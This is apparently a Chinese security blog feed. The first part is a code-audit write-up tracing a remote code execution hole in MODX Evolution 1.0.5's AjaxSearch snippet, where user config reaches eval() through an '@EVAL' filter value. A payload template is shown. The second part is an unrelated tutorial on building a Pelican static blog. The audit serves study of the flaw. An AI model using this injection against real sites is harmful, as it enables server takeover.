<p>根据官网的描述,我们先从Ajaxsearch组件入手,使用Seay源代码审计系统自动审计,先筛选出存在远程命令执行漏洞风险且与Ajaxsearch组件相关的文件</p>
<p><img alt="1593882642508" src="MODX evolution1.0.5代码审计.assets/1593882642508.png"></p>
<p>在MODX 1.0.5的源代码中Ajaxsearch组件的入口文件只有一个<code>evolution-1.0.5\assets\snippets\ajaxSearch\ajaxSearchPopup.php</code></p>
<p>直接在该文件的入口下断点,单步调试,调试完改文件之后得出的结论就是,payload中必须包含<code>search</code>和<code>as_version</code>,其中前者只要值不为空即可,后者值必须为<code>1.9.2</code></p>
<p>该文件中除了run方法之外,不存在能够出发代码执行的操作,因此跟入run方法</p>
<p>run方法是<code>AjaxSearch</code>类的方法,它负责完成ajax搜索,通读该类文件发现需要再跟入到<code>AjaxSearchCtrl</code>类的run方法中</p>
<p>跟入run方法,执行<code>AjaxSearchResults</code>类的<code>getSearchResults</code>方法,根据上面自动审计的结果,该类文件的<code>_doFilter</code>方法可能存在命令执行漏洞</p>
<div class="highlight"><pre><span></span><code><span class="x">$this->_filterValue = eval(substr($filterArray[1], 5));</span>
</code></pre></div>
<p>在<code>_doFilter</code>方法处下断点进行调试,发现我们根本没有进入该方法,直接返回了结果</p>
<p><img alt="1593883520237" src="MODX evolution1.0.5代码审计.assets/1593883520237.png"></p>
<p>我们回到<code>AjaxSearch</code>类文件中,在调用<code>AjaxSearchCtrl</code>类的run方法处下断点跟入</p>
<p><img alt="1593883676977" src="MODX evolution1.0.5代码审计.assets/1593883676977.png"></p>
<p>发现<code>$valid</code>的值为false,无法进入可能存在漏洞的代码,因此我们跟入<code>AjaxSearchInput</code>类的display方法一探究竟</p>
<p>问题出在<code>AjaxSearchInput</code>类文件的165行,由于我们的<code>AjaxSearchConfig</code>类对象的成员变量cfg值为null,导致<code>$this->asCfg->cfg['maxWords']</code>为一个不存在的值,任意一个有值的变量都满足该if条件,最终导致valid变量为false</p>
<p><img alt="1593884247483" src="MODX evolution1.0.5代码审计.assets/1593884247483.png"></p>
<p><code>asCfg</code>成员变量是一个引用,在<code>AjaxSearchInput</code>类的init方法中初始化,在此方法体中下断点</p>
<p><img alt="1593884992433" src="MODX evolution1.0.5代码审计.assets/1593884992433.png"></p>
<p>查看调用栈,找到<code>$asCfg</code>变量初始化的地方:<code>AjaxSearch</code>类文件,<code>if (!$asCfg->initConfig($msgErr)) return $msgErr;</code></p>
<p><img alt="1593884983993" src="MODX evolution1.0.5代码审计.assets/1593884983993.png"></p>
<p>下断点跟入<code>initConfig</code>方法,发现cfg成员变量是dcfg和ucfg合并之后的结果,dcfg是<code>evolution-1.0.5\assets\snippets\ajaxSearch\configs\default.config.php</code>定义的一个关联数组,而ucfg来自此处<code>$this->ucfg = $this->parseUserConfig(strip_tags($_POST['ucfg']));</code></p>
<p>他是我们通过POST请求传入的参数,跟入<code>parseUserConfig</code>方法(我做了一些变量的输出,重点关注<code>parseUserConfig</code>方法体):</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="c1">//对传入的ucfg参数进行处理</span>
<span class="k">function</span> <span class="nf">parseUserConfig</span><span class="p">(</span><span class="nv">$strUcfg</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$ucfg</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="c1">// &一串不包含=的字符串=`一串不包含`的字符串`</span>
<span class="nv">$pattern</span> <span class="o">=</span> <span class="s1">'/&([^=]*)=`([^`]*)`/'</span><span class="p">;</span>
<span class="c1">//要匹配的内容在两个括号里,$out最终会变成一个长度为3的数组,第一个存储的是匹配出的所有模式,</span>
<span class="c1">//第二个存储的是第一个括号里的内容,第三个存储的是第二个括号里的内容</span>
<span class="c1">//根据输入的字符串,可能会匹配出多组,第一个括号里的模式存在out[1],第二个括号里的模式存在out[2]中</span>
<span class="nb">preg_match_all</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span> <span class="nv">$strUcfg</span><span class="p">,</span> <span class="nv">$out</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"<pre>"</span><span class="p">;</span>
<span class="nb">print_r</span><span class="p">(</span><span class="nv">$out</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"<pre>"</span><span class="p">;</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$out</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=></span> <span class="nv">$values</span><span class="p">)</span> <span class="nv">$ucfg</span><span class="p">[</span><span class="nv">$out</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="nv">$key</span><span class="p">]]</span> <span class="o">=</span> <span class="nv">$out</span><span class="p">[</span><span class="mi">2</span><span class="p">][</span><span class="nv">$key</span><span class="p">];</span>
<span class="c1">//处理完成后$ucfg会变成一个关联数组</span>
<span class="c1">//如果我们的$$strUcfg的值是&a=`aksdajldasjds`</span>
<span class="c1">//则$ucfg的值为[a] => aksdajldasjds</span>
<span class="k">return</span> <span class="nv">$ucfg</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$strUcfg</span> <span class="o">=</span> <span class="s1">'&a=`24yhgr5w3bsf`&b=`24wrgsfgesdg`'</span><span class="p">;</span>
<span class="nv">$ret</span> <span class="o">=</span> <span class="nx">parseUserConfig</span><span class="p">(</span><span class="nv">$strUcfg</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"<br />"</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"<hr>"</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"<br />"</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"<pre>"</span><span class="p">;</span>
<span class="nb">print_r</span><span class="p">(</span><span class="nv">$ret</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"<pre>"</span><span class="p">;</span>
</code></pre></div>
<p>运行结果:</p>
<p><img alt="1593885841779" src="MODX evolution1.0.5代码审计.assets/1593885841779.png"></p>
<p>现在我们的POST参数如下:</p>
<p><img alt="1593885922797" src="MODX evolution1.0.5代码审计.assets/1593885922797.png"></p>
<p>现在让我们回到这个断点:<code>$this->_filterValue = eval(substr($filterArray[1], 5));</code></p>
<p><img alt="1593886050409" src="MODX evolution1.0.5代码审计.assets/1593886050409.png"></p>
<p>在前面的分析中,我们知道了<code>AjaxSearchConfig</code>对象的cfg成员变量是由dcfg和ucfg使用<code>array_merge</code>方法合并之后形成的,dcfg我们不可控,可控的变量是ucfg,ucfg是一个关联数组,我们开始的payload是:</p>
<div class="highlight"><pre><span></span><code><span class="o">&</span><span class="n">a</span><span class="o">=</span><span class="n n-Quoted">`aksdajldasjds`</span>
</code></pre></div>
<p>形成的关联数组是<code>a => aksdajldasjds</code> ,如果我们把ucfg参数的值构造为下面的样子:</p>
<div class="highlight"><pre><span></span><code><span class="o">&</span><span class="n">a</span><span class="o">=</span><span class="n n-Quoted">`aksdajldasjds`</span><span class="o">&</span><span class="k">filter</span><span class="o">=</span><span class="n n-Quoted">`6986758`</span><span class="w"> </span>
</code></pre></div>
<p>则生成的关联数组是<code>a => aksdajldasjds filter => 6986758</code> ,所谓后来者居上,<code>array_merge</code>方法会让后面的关联数组的键覆盖已经存在的键,如此一来,<code>$this->asCfg->cfg['filter']</code>就是可控的变量了</p>
<p>现在我们直接将断点下在代码执行的地方</p>
<p><img alt="1593886461579" src="MODX evolution1.0.5代码审计.assets/1593886461579.png"></p>
<p>发送POST请求,未进入else分支,分析if分支的代码,回溯<code>$filterArray</code>变量,发现该变量是由我们可控的变量<code>$this->asCfg->cfg['filter']</code>使用<code>,</code>分割生成的数组,我们要想进入else分支,就要满足<code>substr($filterArray[1], 0, 5) == "@EVAL"</code>,这就要求我们构造的filter键的值包含<code>,</code>不然数组长度为1,<code>$filterArray[1]</code>根本就不存在,且<code>,</code>后面的前5个字符应该为<code>@EVAL</code>,后面为我们要执行的命令,最终构造出来的ucfg的值应该为:</p>
<div class="highlight"><pre><span></span><code><span class="o">&</span><span class="n">a</span><span class="o">=</span><span class="n n-Quoted">`aksdajldasjds`</span><span class="o">&</span><span class="k">filter</span><span class="o">=</span><span class="n n-Quoted">`6986758,@EVALCODE`</span><span class="w"> </span>
</code></pre></div>
<p><img alt="1593886820179" src="MODX evolution1.0.5代码审计.assets/1593886820179.png"></p>
<p>至此,代码审计完成,成功触发RCE漏洞</p>
<h1>后记</h1>
<p>本次代码审计的整体过程还是比较简单的,因为源代码并未对用户的恶意输入进行任何过滤</p>
<p>再次感谢<a href="https://licongm.github.io/">licong</a>师傅在此次审计过程中的指导</p>
<p>这里有一个地方需要说一下,在调试过程中我更改了<code>ajaxSearchPopup.php</code>的代码(<strong>这是很严重的错误操作,代码审计是绝对不允许更改源代码的</strong>)</p>
<p><img alt="1593967064949" src="MODX evolution1.0.5代码审计.assets/1593967064949.png"></p>
<p>因为在调试过程中总是出现某些常量没有被定义的情况,因此直接将配置文件手动包含了进来,后来从<a href="https://forums.modx.com/thread/6555/what-is-the-index-ajax-php-file-for">官网论坛</a>中了解到,必须要通过根目录下的<code>index-ajax.php</code>进入<code>ajaxSearchPopup.php</code>,一些变量的定义也是在该文件中进行的,不通过<code>index-ajax.php</code>是无法使用<code>$modx</code>变量的</p>
<p>在<code>index-ajax.php</code>中进行了配置文件的引入</p>
<p><img alt="1593967324354" src="MODX evolution1.0.5代码审计.assets/1593967324354.png"></p>
<p>因此直接按照上面截图中的POST请求是无法触发RCE的,其实只需要分析<code>index-ajax.php</code>对POST请求做一下修改即可,详情不再赘述</p>
<p>这里学到的一个经验就是,如果出现常量未定义的错误,可以去找一下常量是在哪个文件中定义的,然后找出所有引用了该文件的代码,分析和漏洞代码有关联的代码,最终确定入口</p>使用pelican搭建自己的静态博客2020-07-01T00:00:00+02:002020-07-01T00:00:00+02:0012138tag:None,2020-07-01:shi-yong-pelicanda-jian-zi-ji-de-jing-tai-bo-ke.html<h1>前言</h1>
<p>最近想要搭建自己的静态博客,去网上搜了一下,直接就选择了搜到的第一个——<code>pelican</code></p>
<p>我把网站项目托管到了<a href="https://dev.azure.com/wtfy/_git/blog">Azure</a>,需要代码 …</p><h1>前言</h1>
<p>最近想要搭建自己的静态博客,去网上搜了一下,直接就选择了搜到的第一个——<code>pelican</code></p>
<p>我把网站项目托管到了<a href="https://dev.azure.com/wtfy/_git/blog">Azure</a>,需要代码的朋友可以在公众号后台留言</p>
<h1>环境搭建</h1>
<p>pelican的环境搭建相当简单,首先我们安装管理python包和python虚拟环境的工具pipenv(推荐使用python3进行安装)</p>
<div class="highlight"><pre><span></span><code>python3<span class="w"> </span>-m<span class="w"> </span>pip<span class="w"> </span>install<span class="w"> </span>--user<span class="w"> </span>pipenv
</code></pre></div>
<p>安装完成后,使用<code>sudo find / -type f -name "pipenv"</code>找到pipenv所在的位置,然后使用export临时添加到path环境变量中</p>
<p><img alt="image-20200701081310345" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cgkBtRKTZD.jpg"></p>
<p>之后创建一个目录用于存放我们的项目文件:</p>
<div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>/home/x/wochinijiamile
<span class="nb">cd</span><span class="w"> </span>/home/x/wochinijiamile
pipenv<span class="w"> </span>install<span class="w"> </span>--three<span class="w"> </span>#选择python3安装虚拟环境
pipenv<span class="w"> </span>shell<span class="w"> </span>#用于激活当前的虚拟环境
pipenv<span class="w"> </span>install<span class="w"> </span>markdown<span class="w"> </span>pelican<span class="w"> </span>#安装必要的依赖
pelican-quickstart<span class="w"> </span><span class="c1">#初始化环境</span>
</code></pre></div>
<p>在content目录下编辑一个md文件内容如下:</p>
<div class="highlight"><pre><span></span><code>Title: My First Review
Date: 2010-12-03 10:20
Category: Review
</code></pre></div>
<p>之后执行make publish,会在output目录下生成同名的html文件,会分类到Review目录下,创建日期为<code>2010-12-03 10:20</code>,如果没有在makrdown文件中加上这些元数据,那么在生成html文件时会报错</p>
<p>此时我们的pelican环境就已经搭建好了,非常的方便</p>
<h1>对网站进行改造</h1>
<h2>添加统计脚本并更换背景</h2>
<p>因为觉着改pelican和jinja的源代码太麻烦,就直接写了一个render.py对生成的html文件进行处理</p>
<p>实现的方式就是把footer部分替换成我们自己的</p>
<p>因为是多行字符串的替换,所以直接替换的话会比较麻烦,我实现的方式就是先将html文件处理成单行的</p>
<div class="highlight"><pre><span></span><code><span class="n">fin</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="s2">"rt"</span><span class="p">)</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">fin</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="s1">'biaojizifuchuangiuqerygisdgfjks'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">,</span> <span class="s1">''</span><span class="p">)</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">])</span>
</code></pre></div>
<p>上面的代码就是将换行替换为空,然后使用自定义的连接符进行连接,在后面的代码中将要替换的内容替换完成后,再将连接符替换为换行符,<strong>这样做的目的是防止文章中的源代码也被处理成单行的</strong></p>
<p>另外,通过给所有的html文件添加样式表对网站的背景做了调整,类似于网格的效果,其实就是由一个小像素点重复出来的</p>
<p>添加的样式表的完整内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="nt">body</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">background</span><span class="p">:</span><span class="w"> </span><span class="nb">url</span><span class="p">(</span><span class="sx">/theme/images/page_bg.gif</span><span class="p">)</span><span class="w"> </span><span class="kc">repeat</span><span class="w"> </span><span class="kc">left</span><span class="w"> </span><span class="kc">top</span><span class="p">;</span>
<span class="p">}</span>
<span class="nt">img</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">max-width</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
<span class="w"> </span><span class="k">max-height</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">.</span><span class="nc">post-info</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">background-color</span><span class="p">:</span><span class="w"> </span><span class="kc">yellow</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>然后我们再使用replace方法进行替换即可,完整代码如下:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">fileinput</span>
<span class="k">def</span> <span class="nf">get_filelist</span><span class="p">(</span><span class="nb">dir</span><span class="p">):</span>
<span class="n">newDir</span> <span class="o">=</span> <span class="nb">dir</span>
<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isfile</span><span class="p">(</span><span class="nb">dir</span><span class="p">):</span>
<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="nb">dir</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s2">".html"</span><span class="p">:</span>
<span class="n">replace</span><span class="p">(</span><span class="nb">dir</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isdir</span><span class="p">(</span><span class="nb">dir</span><span class="p">):</span>
<span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="nb">dir</span><span class="p">):</span>
<span class="n">newDir</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span><span class="n">s</span><span class="p">)</span>
<span class="n">get_filelist</span><span class="p">(</span><span class="n">newDir</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">replace</span><span class="p">(</span><span class="nb">dir</span><span class="p">):</span>
<span class="n">after</span> <span class="o">=</span> <span class="s2">"""<footer id="contentinfo" class="body"> <address id="about" class="vcard body"> Proudly powered by <a href="http://getpelican.com/">Pelican</a>, which takes great advantage of <a href="http://python.org">Python</a>. </address><!-- /#about --><p>The theme is by <a href="http://coding.smashingmagazine.com/2009/08/04/designing-a-html-5-layout-from-scratch/">Smashing Magazine</a>, thanks!<br/><script type="text/javascript">document.write(unescape("%3Cspan id='cnzz_stat_icon_1278862900'</span><span class="si">%3E</span><span class="s2">%3C/span</span><span class="si">%3E</span><span class="s2">%3Cscript src='https://s9.cnzz.com/z_stat.php</span><span class="si">%3F</span><span class="s2">id%3D1278862900</span><span class="si">%26s</span><span class="s2">how%3Dpic' type='text/javascript'</span><span class="si">%3E</span><span class="s2">%3C/script</span><span class="si">%3E</span><span class="s2">"));</script><script> let item = document.getElementsByTagName("img"); for (let index = 0; index < item.length; index++) { let class_name = item[index].getAttribute("src"); if(class_name.indexOf("assets") != -1) item[index].setAttribute("src", "/theme/images/" + class_name) }</script></p> </footer><!-- /#contentinfo -->"""</span>
<span class="n">before</span> <span class="o">=</span> <span class="s2">"""<footer id="contentinfo" class="body">biaojizifuchuangiuqerygisdgfjks <address id="about" class="vcard body">biaojizifuchuangiuqerygisdgfjks Proudly powered by <a href="http://getpelican.com/">Pelican</a>, which takes great advantage of <a href="http://python.org">Python</a>.biaojizifuchuangiuqerygisdgfjks </address><!-- /#about -->biaojizifuchuangiuqerygisdgfjksbiaojizifuchuangiuqerygisdgfjks <p>The theme is by <a href="http://coding.smashingmagazine.com/2009/08/04/designing-a-html-5-layout-from-scratch/">Smashing Magazine</a>, thanks!</p>biaojizifuchuangiuqerygisdgfjks </footer><!-- /#contentinfo -->"""</span>
<span class="n">before1</span> <span class="o">=</span> <span class="s2">"""<link rel="stylesheet" href="./theme/css/main.css" />"""</span>
<span class="n">after1</span> <span class="o">=</span> <span class="s2">"""<link rel="stylesheet" href="./theme/css/main.css" /><link rel="stylesheet" href="/theme/css/1.css" />"""</span>
<span class="c1">#read input file</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">dir</span><span class="p">)</span>
<span class="n">fin</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="s2">"rt"</span><span class="p">)</span>
<span class="c1">#read file contents to string</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">fin</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="s1">'biaojizifuchuangiuqerygisdgfjks'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">,</span> <span class="s1">''</span><span class="p">)</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">])</span>
<span class="c1">#replace all occurrences of the required string</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">before</span><span class="p">,</span> <span class="n">after</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">before1</span><span class="p">,</span> <span class="n">after1</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'biaojizifuchuangiuqerygisdgfjks'</span><span class="p">,</span> <span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="c1">#close the input file</span>
<span class="n">fin</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="c1">#open the input file in write mode</span>
<span class="n">fin</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="nb">dir</span><span class="p">,</span> <span class="s2">"wt"</span><span class="p">)</span>
<span class="c1">#overrite the input file with the resulting data</span>
<span class="n">fin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="c1">#close the file</span>
<span class="n">fin</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span><span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">get_filelist</span><span class="p">(</span><span class="s2">"/var/www/html"</span><span class="p">)</span>
</code></pre></div>
<h2>解决图片路径问题</h2>
<p>因为我本地使用的是typora进行文章的编写,所以文章中的图片都是存储在当前目录下的以<code>文件名.assets</code>命名的文件夹中,pelican在生成的html文件的图片路径也是<code>文件名.assets/xxx.png</code>,这样的问题是在一些页面中会显示不出来,因此可以将其改成绝对路径以解决此问题</p>
<p>首先将content目录下的所有包含assets字符串的目录复制到输出目录<code>/var/www/html/theme/images</code>中,然后使用上面加入网站统计脚本的时候加入的另一个js脚本对当前dom树中的所有img节点进行处理,代码如下:</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="nx">item</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByTagName</span><span class="p">(</span><span class="s2">"img"</span><span class="p">);</span>
<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">index</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">item</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">index</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">class_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">item</span><span class="p">[</span><span class="nx">index</span><span class="p">].</span><span class="nx">getAttribute</span><span class="p">(</span><span class="s2">"src"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">class_name</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s2">"assets"</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="nx">item</span><span class="p">[</span><span class="nx">index</span><span class="p">].</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s2">"src"</span><span class="p">,</span><span class="w"> </span><span class="s2">"/theme/images/"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">class_name</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>
<h2>生成目录</h2>
<p>其实要想生成目录,还是挺简单的,只需要添加一个js脚本即可</p>
<div class="highlight"><pre><span></span><code><span class="o"><</span><span class="nx">script</span><span class="o">></span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="p">;</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">level</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w"> </span><span class="nx">obj</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"featured"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">obj</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">null</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"content"</span><span class="p">).</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"content"</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/<h([\d])>([^<]+)<\/h([\d])>/gi</span><span class="p">,</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">str</span><span class="p">,</span><span class="w"> </span><span class="nx">openLevel</span><span class="p">,</span><span class="w"> </span><span class="nx">titleText</span><span class="p">,</span><span class="w"> </span><span class="nx">closeLevel</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">openLevel</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nx">closeLevel</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">str</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">openLevel</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nx">level</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="ow">new</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">openLevel</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">level</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s2">"<ul>"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">openLevel</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">level</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="ow">new</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">level</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">openLevel</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s2">"</ul>"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">level</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">openLevel</span><span class="p">);</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">titleText</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/ /g</span><span class="p">,</span><span class="w"> </span><span class="s2">"_"</span><span class="p">);</span>
<span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="sb">`<li><a href="#`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="sb">`">`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">titleText</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"</a></li>"</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="sb">`<h`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">openLevel</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="sb">` class="wusoifghbsudfgbuslfhnsdl"><a name="`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">anchor</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="sb">`">`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">titleText</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"</a></h"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">closeLevel</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">">"</span><span class="p">;</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">level</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">toc</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="p">(</span><span class="ow">new</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">level</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s2">"</ul>"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"toc"</span><span class="p">).</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="nx">toc</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="o"><</span><span class="err">/script></span>
</code></pre></div>
<p>这里有个地方需要注意,那就是如果在一个分类里面有两篇以上的文章,那么pelican默认会对第二篇及以后的文章进行一个简化,类似于如下的形式:</p>
<p><img alt="image-20200726013533202" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/FZHayKTvPq.jpg"></p>
